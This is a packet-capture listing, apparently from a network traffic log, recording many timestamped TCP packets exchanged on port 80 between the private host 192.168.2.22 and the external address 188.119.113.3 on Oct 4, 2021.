Oct 4, 2021 17:00:22.513030052 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513056040 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513077974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513102055 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513124943 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513139963 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513164043 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513185024 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.513186932 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513210058 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.513212919 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513230085 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.513238907 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513257980 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513281107 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.513284922 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.513303995 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.513323069 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514422894 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514447927 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514472008 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514498949 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514527082 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514529943 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514602900 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514771938 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514816999 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514856100 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514903069 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.514904022 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514933109 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514938116 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.514941931 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.515005112 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.515043020 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.515052080 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.515059948 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.515063047 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.515084982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.515093088 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.515124083 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.516495943 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.538305044 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.538538933 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563081980 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563150883 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563256979 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563290119 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563319921 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563324928 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563344955 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563374996 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563404083 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563407898 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563445091 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563455105 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563472986 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563484907 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563513994 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563513994 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563544035 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563576937 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563577890 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563606024 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563640118 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.563688993 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.563764095 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.564826012 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.612163067 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612190962 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612209082 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612226009 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612243891 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612267017 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612277985 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612302065 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612323046 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612344027 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612365961 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612387896 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612409115 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.612437963 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.612586021 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.613312960 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613358974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613378048 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613403082 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613424063 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613445997 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613570929 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613595963 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613616943 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613637924 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613656044 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613667011 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.613673925 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.613719940 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.614437103 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.637278080 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.637425900 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.662002087 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662026882 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662044048 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662061930 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662082911 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662106991 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662130117 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662151098 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662168026 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662189007 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662197113 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.662213087 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662216902 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.662236929 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.662287951 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.662297964 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.662336111 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.663527012 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.664130926 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.664203882 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665534019 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665556908 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665580034 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665587902 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665605068 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665606976 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665628910 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665636063 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665649891 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665659904 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665672064 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665682077 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665693998 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665704966 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665714979 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665733099 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665735960 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665745020 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665757895 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665760040 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665782928 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.665791988 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.665819883 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.666851997 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.688968897 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.689151049 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.714416981 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714446068 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714459896 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714473009 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714509010 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714529037 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714565039 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714587927 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714607000 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714611053 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.714627981 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714636087 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.714643002 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714662075 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714672089 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.714679956 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.714688063 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.714709997 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.716034889 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756640911 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756664038 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756676912 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756697893 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756716013 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756732941 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756746054 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756833076 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756849051 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756855011 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756865025 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756876945 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756877899 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756895065 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756896973 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756911039 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756913900 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756931067 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.756932974 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756946087 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.756959915 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.757992983 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764542103 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764570951 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764591932 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764609098 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764621019 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764632940 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764636040 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764636993 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764657974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764682055 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764704943 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764719963 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764724970 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764728069 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764733076 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764743090 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764748096 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764755964 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764772892 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.764775038 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764791965 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.764810085 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.765748024 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.782052040 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.782104969 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807446957 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807480097 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807502031 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807501078 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807523012 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807524920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807527065 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807548046 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807562113 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807570934 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807570934 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807594061 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807604074 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807617903 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807632923 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807641029 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807642937 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807662010 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807677031 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807683945 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807691097 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807706118 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.807717085 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.807739973 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.808099031 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.808141947 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.808589935 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.813990116 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814018965 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814042091 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814044952 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814064980 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814065933 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814075947 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814090014 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814107895 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814111948 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814122915 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814136982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814152002 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814161062 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814174891 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814182043 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814202070 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814204931 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814218998 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814227104 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814232111 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814248085 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.814266920 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814281940 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.814872980 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.834625006 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.834680080 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.855474949 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.855514050 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.855525017 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.855532885 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.855549097 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.855572939 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.855580091 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.855588913 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.855596066 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856230974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856239080 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856247902 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856254101 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856277943 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856301069 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856307983 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856313944 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856317997 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856327057 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856340885 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856349945 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.856358051 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.856391907 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.857078075 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.859488964 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.859546900 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863492966 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863522053 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863545895 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863550901 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863569975 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863573074 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863590002 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863595963 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863627911 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863629103 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863643885 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863652945 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863661051 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863678932 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863692045 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863703012 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863718033 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863724947 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863734961 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863749027 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863765955 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863771915 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.863779068 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.863812923 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.864424944 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.887274027 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.887435913 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905111074 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905247927 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905273914 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905282974 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905311108 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905328035 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905431986 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905456066 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905479908 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905482054 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905504942 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905505896 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905524015 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905529976 CEST	80	49167	188.119.113.3	192.168.2.22
